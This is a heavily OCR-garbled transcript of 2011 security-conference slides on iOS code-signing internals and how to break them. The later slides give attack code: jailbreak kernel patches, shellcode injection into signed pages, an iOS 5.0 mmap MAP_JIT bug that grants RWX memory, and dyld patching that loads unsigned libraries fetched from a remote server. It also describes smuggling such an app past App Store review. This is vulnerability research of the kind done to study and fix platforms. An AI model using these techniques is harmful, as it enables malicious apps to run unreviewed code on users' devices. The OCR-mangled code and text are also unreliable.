Don't Hassle | he HOft;

Breaking 10S Code Signing
Charlie Miller

Accuvant-Labs

charlie.miller@accuvant:com

Friday, October 14, 11



About me

x Former UsS National Security: Agency. researcher
x [First to hack the iPhone and G1:-Android phone
» \Winner of GansecWest Pwn20wn: 20038-201]
x  Author

x Fuzzing for Software Security Testing and Quality
Assurance

®x [he Mac Hacker's Handbook
x PhD, CISSP, GCFA, etc.
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Code signing and 1OS security




0SS Security Model

x All code (binaries and libraries)
must be signed by a trusted party

.f;? iphone_payloads Charli...

| By default this iS Apple g Expires Nov 10, 2011 (in 28 days)

® Devices can be provisioned to
allow additional keys for

Development or Enterprise
OUrPOSES
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0SS Security Model

x Pages that are writeable may: never be made
executable

x After 10S 4.3 there is an exception for JIT
® Pages can never be both writable and executable

x [herefore only pages coming from signed binaries may
ever be executed
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Vialware prevention

x Since only signed binaries may: e executed, random
binaries cannot be downloaded and run

x Signed binaries cannot alter their behaviors, only
executable code from:binary may.ever be executed

x No self modification
= NO executable packing
x Apps can't update themselves s

“am o
-

A @, D
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App Store protects us

x Signed binaries must come from the Apple App Store
x Apple reviews all submissions before release

x Apple can remotely. remove apps from 10S devices

x Apple acts as an-Anti-Virus for you in this case
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ExXploit mitigation

x NO pages are writable and executable (DEP)
® NS cannot be “turned off”
x Binaries cannot be written to disk and executed

x [his means entire payload must be written in ROP, no
shellcode or higher level payloads allowed
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Case studies

x  Pwn20wn 2010

» Payload to read sms database and send to remote server completely written in ROP
x  Pwn20wn 2011

» Payload to read address book and send-to remote server written in' ROP

= jailoreakme.com’s

= | ocal privilege escalation exploit written entirely. in ROP

s —
View PDF?

The application wants to display a
PDF on your device. There is a
known bug in the PDF loading code
that makes the running of arbitrary
code possible, which could
compromise your system. Are you
sure you want to continue?

V4

Cancel Loa
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Comparison

x |nOS X

x Can allocate RWX pages with-ROP-payload, put
shellcode there. GCan:write binaries to disk and run them

® |n Android

x No DEP at all, just inject shellcode. Gan write to disk
and run too (No code signing enforcement)
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Code signing internals




Overview of Internals

x Mandatory Access Control-Framework
x Code signed by trusted party
x Signed hashes match running code

x Pages not being writable and executable

Friday, October 14, 11



Mandatory Access Control

x Code signing controlled by Mandatory Access Control
Framework (MACFE)

x |nherited from FreeBSD, Trusted BSD - MAG
Framework

x Allows for pluggable access controls
x New policies dynamically loaded or at boot time

x Hooking mechanisms in xnu source code, the actual
hooks are In the kernel binary
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0SS MAC policies

x Only 2 policies registered

x AMFEl and Sandbox

EXPORT mac policy register

; CODE XREF: initializeAppleMobileFilelntegrity +17E}]|
; 1nit amfi and sandbox+12}p

; DATA XREF: initializeAppleMobileFilelntegrity +170})¢

mac_policy register

~_text:off 8067591D0B)o
init amfi and sandbox+108}o0
; text:off 8096302CJlo

var 24= -0x24
var 8= -8
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Apple Mobile Flile Integrity

x [he call to mac_policy_register declares all the hooks
that the MAC wants to use

R2, [R3,#{mpo_proc_check_run_cs valid - Ox80764E74)]
R2, ={(amfi_cred_label init+1) ; Initialize label for newly instantiated user

s

s Gets label
R2, [R3,#({mpo_cred label init - Ox80764E74)]
R2, ={(amfi_cred_label associate+1)
R2, [R3,#({mpo_cred_label_associate - Ox80764E74)]
R2, =(amfi_cred_check_label update_execve+1) ; Indicate whether this policy

R2, [R3,#(mpo_cred_check_label update_execve - 0x80764E74)]

R2, =(amfi_cred_label update_execve+1) ; Update Credential at exec time. Up

R2, [R3,#(mpo_cred label update_execve - Ox80764E74)]

R2, ={(amfi_cred label destroy+1)

R2, [R3,#(mpo_cred_label_destroy - Ox88764E74)]

R2, ={has_dynamic_codesigning+1) ; has dynamic codesigning(p, process cred,
; 8 means everything is cool, 1 means there is a problem

R2, [R3,#(mpo_reservediB - Ox80764E74)]

R2, =aAmfi_ B ; "AMFI"

R3, =mpc_field off

R2, [RB] ; mpc_name

R2, =afAppleMobileFil ; "Apple Mobile File Integrity”

R3, [RO,#0x18] ; mpc_field off

R3, ={_mac_policy register+1)

R2, [RO,#4] ; mpc_fullname = "Apple HMobile File Integrity"

R2, =dword_80764D64

R2, [RO,#8] ; mpc_labelnames = & "amfi"

R2, #1

R2, [RO,#6xC] ; mpc_labelnames_count

R2, R4

R3 ; _mac_policy register ; mac_policy register{struct mac_policy conf »*mpc,

Friday, October 14, 11




AMF| hooks

»  AMFI| uses the following MAGC -hooks
®x  MPO_vnode_check_signature
®x  MPO_vnode_check_exec
®x  MpPOo_proc._get task_name
=  Mpo_proc._check run_cs_valid
x mpo_cred_label init
x Mpo_cred_label_associate
x  Mpo_cred_check_label-update_execve
x - mpo_cred_label pudate_execve
x mpo_cred_label_destroy

x mpo_reservedi10
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AMEFI hook example

® MPO_VNOde _check exec

® |n xXnu kernel source, bsd/kern/kern_exec.c we see

/%
* exec check permissions

*

* Description: - Verify that the file that is being attempted to be executed
& 1s 1in fact allowed to be executed based on it POSIX file

. permissions and other access control criteria

*

#if CONFIG MACF
error = mac_vnode check exec (imgp->ip vfs context, vp, imgp);
1f (error)
return (error);
tendif
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mac VNOJde Check exec

int
mac vnode check exec(vfs context t ctx, struct wvnode *vp,
struct image params *imgp)
{
kauth cred t credq;
int error;

1f (Imac vnode enforce || Imac proc enforce)
return (0) 7

cred = vis context ucred(ctx);

MAC CHECK (vnode check exec, cred, vp, vp->v label,
(imgp != NULL) 2?2 1mgp->ip execlabelp : NULL,
(imgp != NULL) ? &imgp->1p ndp->ni cnd : NULL,
(1imgp != NULL) ? &imgp->1p csflags : NULL);

return (error) ;
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MAC_CHECK

* MAC CHECK performs the designated check by walking the policy

* module list and checking with each as to how 1t feels about the

* request. Note that it returns its value via 'error' in the scope
* of the caller.

#define MAC CHECK(check, args...) do { \
struct mac policy conf *mpc; \
esiseseseer \

\
error =03 \
for (1 = 0; 1 < mac policy list.staticmax; 1++) { \

mpc- = -mac_ policy list.entries[i].mpc; \
1f (mpc == NULL) \
continue; \

\

if (mpc->mpc ops->mpo  ## check != NULL) \\

error = mac error select \
mpc->mpc_ops->mpo  ## check (args), \

error); \\

} \
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MPO_VvNnode_check_signature

( !BYTE2(dword BO764E1C[3]) )

if (1 )
Assert(
"/SourceCache/AppleMobileFilelIntegrity/AppleMobileFilelntegrity-73/AppleMobileFilelIntegrity.cpp’,
781,
‘enflags’)y
*( ) |= 0x300u;
}

return 0;

}

x Sets CS_HARD | GS_KILL flags for process

#define CS HARD 0x0100 /* don't load invalid pages */
#define CS KILL 0x0200 /* kill process if it becomes invalid */
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Code signed by trusted party

® \\/hen code IS loaded, It I1s checked to see If it contains
a code signature which is signed by someone trusted,
.e. Apple

S otool =1 CommCenter | grep —-A 5 SIGN
cmd LC CODE STIGNATURE
cmdsize 16
dataoff 128083
datasize 7424
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Kernel checks

parse machfile

struct wvnode XV,

v map € map.,

thread t thread,
struct mach headexr *headex,
epicetel file offsety
off t macho . size,
int depth,

into4d 't aslr offset,
load result 't *result

switch(lep->cmd) {

case LC. CODE SIGNATURE:
/* CODE SIGNING */

ret = load code signature (
(struct linkedit data command *) lcp,
VP,
file offset,
macho size,
header->cputype,
(depth == 1) ? result : NULL);
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|0ad_code_signature

static load return t
load code signature(
struct linkedit data command *1cpy,

struct wvnode VP,

off t macho offset;
off € macho size,
cpu type t cputype;

load result t *result)

kr ="ubc cs blob allocate (&addr, &blob size);

ubc cs blob add(vp,
cputype,
macho offset;
addr,
lcp—->datasize))
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Actual signature validation

int
ubc cs blob add(
struct wvnode VP,
Cpu type t cputype,
off t base offset,
vm_ address t addr,
vm size t SHVASY)

/
* Let policy module check whether the blob's signature 1s accepted.
2
#if CONFIG MACF
(void*)addr, size):;

error = mac vnode check signature(vp, blob->csb shal,

i1f (error)
goto out;
fendif
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vnode_checK_signature

int wvnode_copy; //

int v5; //

i
if ( ldont_do_signature_checks

Check static trust
&& Icheck_against_static_trust_cache(
< :a( : e && Icheck_against_dynamic_trust_cache( ) )

lck_mtx_lock(0); // Bad decompile,
for ( = 0; 3 = ->next )
{
if ( Imemcmp( ->hash, Ox14u) )
' {
.' if ( 0 I=
cC NaMmic <
->next;
if ¢ ->next )
~>prav =
. ->prev =
rﬁl I ->next = 0y

dynamic_trust cache = ’
=>prev = kdynamic trust _cache;

}

lck_mtx unlock(0, &dynamic_trust_cache);
return 0;

® Ask amiid via Viach — EEeee—m——.

= validate_code_directory hash_in_daemon(

‘

RPC if signature is S

IOLog("AMFI: Invalid signature but permitting execution\n™);

valid o |

{
}

return
}
}

return 0;
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Code signing so far

x \When binary is loaded -hashes: (in-cs blobs) are
assoclated with each executable memory area

x Only when signed by trusted key

x However, checks on whether these hashes correspond
to the actual code occur in the virtual memory system
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Veritying hashes match

x [racked In the csflags member of proc structure of
each process

x vm fault called whenever there Is a page fault
x A page fault occurs when a page Is loaded
x Note:
x “validated” means it has an associated hash

® ‘tainted” means hash does not match stored hash

Friday, October 14, 11



Enforcement code

v fault enter({

/* Validate code signature if necessary. */
if (VM _FAULT NEED CS VALIDATION (pmap, m)) - {
v object lock assert exclusive(m->cbject);

i1f (m->cs validated) {
v CcsS - revalidatest+;

}

vm page validate cs(m);
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VWhen to validate

/*
* CODE SIGNING:
* When soft faulting a page, we have to wvalidate the page 1f:
* 1. the page is being mapped in user space
* 2. the page hasn't already been found to be "tainted"
* 3. the page belongs to a code-signed object
* 4. the page has not been validated yet or has been mapped for write.
*/
fdefine VM FAULT NEED CS VALIDATION (pmap, page) A\
((pmap) = kernel pmap /*1*/ && A\
! (page) ->cs tainted /*2*/ && \
(page) ->object->code signed /*3*/ &s \
(! (page)->cs validated || (page)->wpmapped /*4*/))
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Validating code matches hasn

®x vm_page_validate cs ->
vm_page_validate cs_mapped ->
vnode_pager_get_object cs:_blobs

vnode pager get object cs lobs (...) {

validated = cs validate page (blobs,
offset + object->paging offset,
(const void *) kaddr,
&tainted) ;

page->Ccs valildated = wvalidated;
1f (validated) {

page->cs tainted = tainted;
}

sets whether a page is

validated and tainted



The valigation

cs validate page (void* blobs, memory object offset t page offset, const void *data, boolean t *tainted)

{

for (blob = blobs; blob != NULL; blob = blob=>csb next) {
embedded = (const CS_ SuperBlob *) -blob addr;
cd = findCodeDirectory (embedded, lower bound, upper bound);
if (cd = NULL) {
if (ecd->pageSize != PAGE -SHIFT .|| f, d h h
hash = hashes(cd, atop(ocffset), lower bound, upper bound):; |r1 Eafs
if (hash != NULL) {

becopy (hash, expected hash, sizeof (expected hash))
found hash = TRUE;
}

break;

1f (found hash == FALSE) {

validated = FALSE;
*tainted = FALSE;
} else {

if (bcmp (expected hash, actual hash, SHAl RESULTLEN) != 0) {

compare hash

*tainted = TRUE;
} else {
*tainted = FALSE;

}
validated = TRUE;

}

return validated;
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VWhen a page Is invalio

» Back In vm fault _enter....

v fault enter{

vm_page validate cs(m);

}

1f (m->cs tainted ||
((!lcs enforcement disable && !Cs bypass ) &&
((Im->cs validated && (prot & VM PROT EXECUTE)) ||
(m=>cs validated && ((prot & VM PROT WRITE) || m->wpmapped))

))

reject page = cs_invalid page ((addr64 t) vaddr);

1f (reject page) {
/* reject the tainted page: abort the page fault */

kr = KERN CODESIGN ERROR;
cs_enter tainted rejected++;
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Kill processes with invalid pages

int
cs_1invalid page (

addre4 t wvaddr)
{

1f (p—>p csflags & CS KILL) {

p=>p - csflags |= CS KILLED;

proc - unlock(p):;

printf ("CODE SIGNING: cs invalid page(Ox%sllx): "
"p=%d[%s] honoring CS KILL, final status 0Ox%x\n",
vaddr, p->p pid, p->p- comm, p->p csflags);

Ccs_ procs killed++;

psignal (p, SIGKILL) ;

proc lock(p);
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No new code

x \\/e've seen how all executable code i1s checked versus
trusted hashes

x|t also verifies that pages can't change themselves (else
they will be “tainted”)

x Need 1o also prevent new code from being added to a
(Signed) process

x Need to check when regions are created or when their
permissions are changed
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New regions

vin_map enter (...){

#if CONFIG EMBEDDED
1f (cur protection & VM PROT WRITE) {
if ((cur protection & VM PROT EXECUTE)  && '(flags & VM FLAGS MAP JIT)) {

printf ("EMBEDDED: $s. curprot cannot be writetexecute. turning off
execute\n",  PRETTY FUNCTION )37

cur protection &= ~VM PROT EXECUTE;
}

J
fendif /* CONFIG EMBEDDED */
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EXISting regions

vin_map protect (. ..){

#if CONFIG EMBEDDED
if (new prot & VM PROT WRITE) {
1f ((new prot & VM PROT EXECUTE) && ! (current->used for jit)) {

printf ("EMBEDDED: %s can't have both write and exec at the same
time\n",  FUNCTION )7

new prot &= ~VM PROT EXECUTE;
}

#fendif
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Dynamic codesigning

x |n order to utilize JI; you need to be able to generate
code on the fly-and execute it

x This wasn’t possible in10S from version 2.0 - 4.3

x Apple introduced dynamic codesigning for this purpose
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Rules of dynamic codesigning

x Don’t talk about dynamic-codesigning

x Only certain apps (i.e.-MobileSatari) can do it

x Apps can only allocate a region to do dynamic
codesigning one time
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Speed VS security

x [here is a (single) RWX region in-MobileSatari, which
could be used by attackers to run shellcode

x MobileSatari and other apps cannot make any
(additional) RWX regions

x Either reuse RWX region or its still a ROP-only world
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Entitlements

x An entitlement is a signed plist file granting the
application certain privileges

# 1did —-e AngryBirds

<?xml wversion="1.0" encoding="UTE-8"7?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/

DTDs/PropertyList=1.0.dtd">

<plist wversion="1.0">

<dict>
<key>application-identifier</key>
<string>G8PVV3624J.com.clickgamer.AngryBirds</string>
<key>aps-environment</key>
<string>production</string>
<key>keychain—-access—groups</key>
<array>

<string>G8PVV3624J.com.clickgamer.AngryBirds</string>

</array>

</dict>

</plist>
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MobileSafari

# 1did -e /Applications/MobileSafari.app/MobileSafari

<?xml version="1.0" encoding="UTEF-8"72>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1
<plist version="1.0">

<dict>
<key>com.apple.coreaudio.allow-amr-decode</key>
<true/>
<key>com.apple.coremedia.allow-protected-content-playback</key>
<true/>
<key>com.apple.managedconfiguration.profiled-access</key>
<true/>
<key>com.apple.springboard.opensensitiveurl</key>
<true/>
<key>dynamic-codesigning</key>
<true/>
<key>keychain—-access—-groups</key>
<array>
<string>com.apple.cfnetwork</string>
<string>com.apple.identities</string>
<string>com.apple.mobilesafari</string>
</array>
<key>platform-application</key>
<true/>
<key>seatbelt-profiles</key>
<array>
<string>MobileSafari</string>
</array>
</dict>
</plist>
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The JIT region

x From JavaScriptCore

x Allocates a RWX region of:size Ox1000000

tdefine MMAP FLAGS (MAP - PRIVATE | MAP ANON | MAP JIT)

#define INITIAL PROTECTION FLAGS (PROT READ | PROT WRITE | PROT EXEC)

m base = mmap(reinterpret cast<void*>(randomLocation), m totalHeapSize,
INITIAL PROTECTION FLAGS, MMAP FLAGS, VM TAG FOR EXECUTABLEALLOCATOR MEMORY,
0)
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INside mmap

int
mmap (proc t p, struct mmap args *uap, user addr t *retval)

1f ((flags & MAP JIT) && ((flags & MAP FIXED) || (flags & MAP SHARED)
| | (flags & MAP FILE)) ) {
return EINVAL;

}

only PRIVATE | ANON
JIT allocations allowed
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Further iIn mmap

1f (flags & MAP ANON) {
maxprot = VM PROT ALL;
#if CONFIG MACFE
error = mac proc check map anon(p, user addr, user size,
prot, flags, &maxprot);
1f (error) {
return EINVAL;

& OxB800;
& OxB800 )

- O;
if ( get entitlement( , dynamic-codesigning”, &v7) )

return

}
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Even further

if (flags & MAP JIT){
alloc flags |= VM FLAGS MAP JIT;
}

result = vm map enter mem object control (..., alloc flags, ...);

add VM_FLAGS_MAP_JIT to
alloc_flags
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Deeper

kern return t
v map enter mem object control(...int flags, ... vm pProt t cur protection;...)

result = vm map enter (..., flags, ...cur protection,...);
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Now we pass the check

vm map_ enter (..int flags, ... vm prot .t .cur protection, ...){

#if CONFIG EMBEDDED
1f (cur protection & VM PROT WRITE) {
if ((cur protection & VM PROT EXECUTE) && ! (flags & VM FLAGS MAP JIT)) {

printf ("EMBEDDED: $s. curprot cannot be writetexecute. turning off
execute\n",  PRETTY FUNCTION )37

cur protection &= ~VM PROT EXECUTE;
}

J
fendif /* CONFIG EMBEDDED */
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NItro so far

x Can only allocate RWX if you have have the MAP_JIT
flag to mmap

x Must have dynamic-codesigning entitlement

x All that remains Is entorcing a one-time only usage
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vm_map_enter (again

1f ((flags & VM FLAGS MAP JIT) && (map->jit entry exists)){
result = KERN INVALID ARGUMENT;
goto BailoOut;

}

if (flags & VM FLAGS MAP JIT){
1f (I (map->jit entry exists)){
new. entry->used for jit = TRUE;
map->Jjit entry exists = TRUE;
}
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Jallbreaking
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[/ Patches

x Can be found at https://github.com/comex/datautilsO/blob/
master/make_kernel_patchiile.c

x perform regular expression like searches for kernel addresses

= Allow RWX pages, unsigned: pages, anyone to sign

addr_ t vme;

findmany add(&vme, text, spec2("- 02 0f .. .. 63 08 03 f0 01 05 e3 0Oa 13 £f0 01 03",
T M e e e I L M M IS PO LI M AT T
// vm map enter (patchl) - allow RWX pages

patch ("vm map enter", wvme, uint32 t, {spec2(0x46c00£02, 0x46c046c0)});
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vm_map_enter (again!

vm map_ enter (..int flags, ... vm prot .t .cur protection, ...){

#if CONFIG EMBEDDED
1f (cur protection & VM PROT WRITE) {
if ((cur protection & VM PROT EXECUTE) && ! (flags & VM FLAGS MAP JIT)) {

printf ("EMBEDDED: $s. curprot cannot be writetexecute. turning off
execute\n",  PRETTY FUNCTION )37

cur protection &= ~VM PROT EXECUTE;
}

J
fendif /* CONFIG EMBEDDED */
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vm_map_enter (again!

vm map_ enter (..int flags, ... vm prot .t .cur protection, ...){

#if CONFIG EMBEDDED
Tf—{cur—protectIor & M PROTNRETET T
if ((cur protection & VM PROT EXECUTE) && ! (flags & VM FLAGS MAP JIT)) {

printf ("EMBEDDED: $s. curprot cannot be writetexecute. turning off
execute\n",  PRETTY FUNCTION )37

cur protection &= ~VM PROT EXECUTE;

}

J
fendif /* CONFIG EMBEDDED */
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vm_map_enter (again!

vm map_ enter (..int flags, ... vm prot .t .cur protection, ...){

- #if CONFIG EMBEDDED
|f(()) T POt oA PROT AR R
if ((cur protection & VM PROT EXECUTE) && !(flags & VM FLAGS MAP JIT)) {
printf ("EMBEDDED: $s. curprot cannot be writetexecute. turning off
execute\n",  PRETTY FUNCTION )37
cur protection &= ~VM PROT EXECUTE;

}

J
fendif /* CONFIG EMBEDDED */
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VM_Map_Protect

vin_map protect (. ..){

#if CONFIG EMBEDDED
if (new prot & VM PROT WRITE) {
1f ((new prot & VM PROT EXECUTE) && ! (current->used for jit)) {

printf ("EMBEDDED: %$s can't have both write and exec at the same
time\n",  FUNCTION )7

new prot &= ~VM PROT EXECUTE;
}

#fendif
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VM_Map_Protect

vin_map protect (. ..){

#if CONFIG EMBEDDED
if (new prot & VM PROT WRITE) {
1f ((new prot & VM PROT EXECUTE) && ! (current->used for jit)) {

printf ("EMBEDDED: %$s can't have both write and exec at the same
time\n",  FUNCTION )7

— AWA LV DD AMT IINZ T OT T o
new prot &= PR FIXECTT

}

#fendif
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VM_Map_Protect

vin_map protect (. ..){

#if CONFIG EMBEDDED
if (new prot & VM PROT WRITE) {
1f ((new prot & VM PROT EXECUTE) && ! (current->used for jit)) {

printf ("EMBEDDED: %$s can't have both write and exec at the same
time\n",  FUNCTION )7

— NZNA DI B P 7 L I ol
new prot &= ——r—PReTIREcHT e ()

}

#fendif
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lurn off checking for trust

x Make check against static trust cache return
1 always

® [ his function also:called In
amfl_cred_label update execve
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Allow “unvalidated” pages

x Set cs enforcement disable to

1f (m->cs tainted ||

(( lcs enforcement disable && !Cs bypass ) &&
((Im=>cs validated && (prot & VM PROT EXECUTE)) |
(m=>cs validated && ((prot & VM -PROT WRITE) | | m->wpmapped))

) )
)

reject page = cs_invalid page ((addrec4 t) vaddr);
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Attacking 10s code signing
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MobileSafari shellcode

unsigned 1nt find rwx() {
task t task = mach task self();

(
mach vm address t address = 0; D :
ROP this

kern return t kret;

vm region basic info data 64 t info;
mach vm address t prev. address = 0;
mach vm size t size, prev.size = 07

mach port t object name;
mach msg type number t.count;

for (;7)
{

address = prev_.address. + prev size;

count = VM REGION BASIC INFO COUNT 64;
kret = mach vm region (task, &address, &size, VM REGION BASIC INFO 64,

(vin_region info. t) &info, &count, &object name) ;
if(info.protection == 7)
return address;

prev. address = address;
prev_size =.slze;

}
}
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OS 2 codesigning problem

x Discovered by me in 2009
x Exploited the way debugging worked on the platform

x Allowed pages containing signed executable code to
be changed to writeable and then executable again

x Could inject shellcode on top of exiting code
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Unsigned code, 10S 2

void (*f) ()
unsigned int addy = 0x31414530; // getchar()

unsigned 1int ssize = sizeof (shellcode3);
kern return t r

r = vm protect( mach task self (), (vm address t) addy, ssize,
FALSE, VM PROT READ |VM PROT WRITE | VM PROT COPY) ;

memcpy ( (unsigned int *) addy, shellcode3, sizeof (shellcode3));

f = (void (*) ()) addy;
£()
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1 he Tix

x [hey changed the way debugging worked

x Factory phones could nolonger be debugged

iPhone
Capacity 15.03 GB
Model iPhone 4 (GSM)
rial Number 860
ECID 16877
Identifier 649644b1
Software Version 4.3 (8F190)

\A Use for Development

That button exists because of me



Questions?

x [hanks for coming!
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An I0S 5.0 code signing bug

int
mmap (proc t p, struct mmap args *uap, user addr t *retval)

1f ((flags & MAP JIT) && ((flags & MAP FIXED) || (flags & MAP SHARED)
|| (flags & MAP FILE)) ) {
return EINVAL;

}

if (flags & MAP ANON) {
maxprot = VM PROT ALL;
#1f CONFIG MACF
error = mac_ proc. check map anon(p, user addr, user size, prot, flags,
&maxprot) ;
if (error)
return EINVAL;
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An I0S 5.0 code signing bug

int
mmap (proc t p, struct mmap args *uap, user addr t *retval)

1f ((flags & MAP JIT) && ((flags & MAP FIXED) || (flags & MAP SHARED)
|| (flags & MAP FILE)) ) {
return EINVAL;

}

if (flags & MAP ANON) {
maxprot = VM PROT ALL;
#1f CONFIG MACF
error = mac_ proc. check map anon(p, user addr, user size, prot, flags,
&maxprot) ;
if (error)
return EINVAL;
J

It only checks for the entitlement if the
MAP_ANON flag is set
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An I0S 5.0 code signing bug

#define MAP FILE 0x0000 /* map from file (default) */

int
mmap (proc t p, struct mmap args *uap, user addr t *retval)

1f ((flags & MAP JIT) && ((flags & MAP FIXED) || (flags & MAP SHARED)
|| (flags & MAP FILE)) ) {
return EINVAL;

}

if (flags & MAP ANON) {
maxprot = VM PROT ALL;
#1f CONFIG MACF
error = mac_ proc. check map anon(p, user addr, user size, prot, flags,
&maxprot) ;
if (error)
return EINVAL;
J

It only checks for the entitlement if the
MAP_ANON flag is set
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Allocating RVWX regions

x Any process which hasn’t already allocated one can

make the following call

» Not MobileSafari ’ ~

® Yes any app store app
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Allocating RVWX regions

x Any process which hasn’t already allocated one can

make the following call

» Not MobileSafari 4
® Yes any app store app \

char *x = (char *) mmap (0; any size, PROT READ | PROT WRITE | PROT EXEC,
MAP JIT | MAP PRIVATE | MAP FILE, some valid fd, 0);
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What does this mean?

x App Store apps can run whatever code they want
dynamically, not checked by the App Store or signed
by Apple

® EXploits can inject shellcode into a process and so
don’t have to use pure ROP-payloads

x ANy code signing problem breaks their whole
architecture
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RunNning unsigned coade

x Malicious App Store Apps could download and run
(unsigned) shellcode

x \NVriting shellcode is time consuming

x [t'd be way more convenient if It could just load an
unsigned library
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1he plan

x Copy dyld to our (or existing) RWX page

x Patch copy of dyld to load unsigned code into our
RWX page

x Patch libdyld to point to copy: of dylo

x | oad unsigned code

x \/\/In!
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Copy and fixup adyld

int fd = open ("foo", O RDWR);
char *x = (char *) mmap(0, 0x1000000, PROT READ | PROT WRITE | PROT EXEC, MAP JIT |
MAP PRIVATE | MAP FILE, f£d, 0);

memcpy (x, (unsigned char *) dyld loc, dyld size);

next mmap = (unsigned int) x 4+ dyld size;
unsigned 1int *data ptr = (unsigned int *) (X +t.dyld data start);
while (data ptr < (unsigned int *) (X + dyld data ‘end)){
1f ( (*data ptr >=-dyld loc) && (*data ptr < -dyld-loc + dyld size)) {
unsigned int newer = (unsigned-int) x + (*data ptr - dyld loc):;
*data ptr = newer;

}
data ptrt+;

}

unsigned int libdyld data start = mybyldSection;

data ptr = (unsigned aint '*) libdyld data start;
while(data ptr < (unsigned int *) (libdyld data start + libdyld data size)) {
if ((*data ptr >= dyld loc) && (*data ptr < dyld loc + dyld size)) {
unsigned int newer = (unsigned int) X + (*data ptr - dyld loc);
*data ptr = newer;

}
data ptr++;
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Patch 1

fgNextPIEDylibAddress ptr = (unsigned int *) (x + 0x26320);
*fgNextPIEDylibAddress ptr = next mmap;
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Patch 2

uintptr t ImagelLoaderMachO::reserveAnAddressRange (size t length, const

ImagelLoader::LinkContext& context)

{

vmm_address t addr = 0;

v size t size = length;

1f ( fgNextPIEDylibAddress = .0 ) {
// add small (0-3 pages) random padding between dylibs

addr = fgNextPIEDylibAddress + (- stack chk guard/fgNextPIEDylibAddress &

(sizeof (long)-1))*4096;
kern return t r = wvm allocate(mach task self(),

1f ( r == KERN.SUCCESS ) {
fgNextPIEDylibAddress = addr + size;

return addr;

&addr, size, VM FLAGS FIXED);

}

fgNextPIEDylibAddress = 0;

J

kern return t r = vm allocate(mach task self (), &addr, size, VM FLAGS ANYWHERE) ;
1f ( r != KERN SUCCESS )

throw "out of address space";

return addr;
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Patch 2

uintptr t ImagelLoaderMachO::reserveAnAddressRange (size t length, const

ImagelLoader::LinkContext& context)

{

vmm_address t addr = 0;
v size t size = length;
1f ( fgNextPIEDylibAddress = .0 ) {
random padding between dylibs

// add small (0-3 pages)
addr = fgNextPIEDylibAddress +

(sizeof (long)-1))*4096;
kern return t r = wvm allocate(mach task self(),

. ¥ I IO NT alnaaVahnialal

1f ( ac INOINIY O UC T InoY ) {
fgNextPIEDylibAddress = addr + size;

return addr;

(. stack chk guard/fgNextPIEDylibAddress &

&addr, size, VM FLAGS FIXED);

)
fgNextPIEDylibAddress = 0;

J

kern return t r = vm allocate(mach task self (), &addr, size, VM FLAGS ANYWHERE) ;
1f ( r != KERN SUCCESS )

throw "out of address space";

return addr;
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const

: reserveAnAddressRange (size t length;,

uintptr t ImagelLoaderMachO::
:LinkContext& context)

ImagelLoader::
{
vmm_address t addr = 0;
v size t size = length;
1f ( fgNextPIEDylibAddress = .0 ) {
random padding between dylibs

// add small (0-3 pages)

addr = fgNextPIEDylibAddress + (- stack chk guard/fgNextPIEDylibAddress &

(sizeof (long)-1))*4096;
kern return t r = vm allocate(mach task self(), &addr, size, VM FLAGS FIXED);
if (P KERN—SHECESS _r' LJ-—-
ngextPIEDylleddres T + size;

return addr;

)
fgNextPIEDylibAddress = 0;
J

kern return t r = vm allocate(mach task self (), &addr, size, VM FLAGS ANYWHERE) ;

if (r = KERN SUCCESS)
throw "out of address space";

return addr;
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Patch 3

vold ImageLoaderMachO: :mapSegments (int fd, uint6d t offsetInFat, uint6d t
lenInFat, uint64 t filelen, const LinkContexté& context)

{

vold* loadAddress = mmap ((void*)requestedlLoadAddress, size, protection,
MAP FIXED | MAP PRIVATE, ‘fd; fileOffset);
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Patch 3

vold ImageLoaderMachO: :mapSegments (int fd, uint6d t offsetInFat, uint6d t
lenInFat, uint64 t filelen, const LinkContexté& context)

{

VoTo——eaalhddress = mmap (((void*) requestedlLoadAddress, size, protection,
MAP FIXED | MAP PRIVATE, fd, fileOffset)>;
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Patch 3

vold ImageLoaderMachO: :mapSegments (int fd, uint6d t offsetInFat, uint6d t
lenInFat, uint64 t filelen, const LinkContexté& context)

{

VioRme: +eadhddress = mMmap ( (VOid” ) requestedLoadAddress Size TOCECLCL1LON
q 7 14 b} 14
|

MAP FIXED MAP PRIVATE,—F67 frTcoriset);
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Patch 3

vold ImageLoaderMachO: :mapSegments (int fd, uint6d t offsetInFat, uint6d t
lenInFat, uint64 t filelen, const LinkContexté& context)

{

VvoTro—4eadAddress = mmap ((void*) requestedlLoadAddress . size ToCEeCLion
1S q 7 7. N /4

MAP FIXED | MAP PRIVATE,—F€ey frTcoriset);

read(fd, requestedloadAddress, size)
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Patch 4

vold Imageloader::link (const LinkContexté& context, bool forcel.azysBound, bool
preflightOnly, const RPathChainé& locaderRPaths)

{

// done with initial dylib loads
fgNextPIEDylibAddress = 0;
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Patch 4

vold Imageloader::link (const LinkContexté& context, bool forcel.azysBound, bool
preflightOnly, const RPathChainé& locaderRPaths)

{

// done with initial dylib loads
—FeNe R E R DA e S 5—0+
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NOw...

x [f the app calls dlopen/dlsym it will load unsigned code
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ApPpPIle review pProcess

x An app that did this would have to-get by the scrutiny
of the App Store review pProcess

x | submitted a couple of apps

® At startup, It a dylib-was present on my server, it did the
patching, and called dlopen on it

= |f no dylib there, it just did what it was supposed to do

Thanks to Jon O and Pavel Malik for the code!



1he Dally Hoff

x This app was rejected (but not
for being malware)

x [he world will never know this
aWesSome app

Current Version

Version 1.1
Status @ Rejected

Date Created 31 August 2011

We found that the features and/or content of your app were not useful or entertaining enough, or your app did not appeal to a broad
enough audience, to be in compliance with the App Store Review Cuidelines.
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INnstastock

x AlSo rejected - for illegal APl tisage = So Bustedl!!

x Oh, nevermind

We found that your app uses one or more non-public APls, which is not in compliance with the App Store Review

f o o
ew Luige

of non-public APIs is not permissible because it can lead to a poor user experience should these APIs change.

We found the following non-public API/s in your app:

addTextFieldWithValue:label:

x Currently in App: Store
= \Will download and run arbitrary (unsigned) dylibs
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App Store Review Process

® Not very close inspection
® Pretty suspicious

® [ries to download file; does a bunch of pointer
manipulation, calls function: pointers, etc

» Both apps had exactly the same code In it
= \\ritten by ME!

® Suggests they don’t actually look at the code for this kind
of thing
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Bllgglels

x Rickroll

x \eterpreter
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Questions?

x Contact me at charlie.miller@accuvant.com
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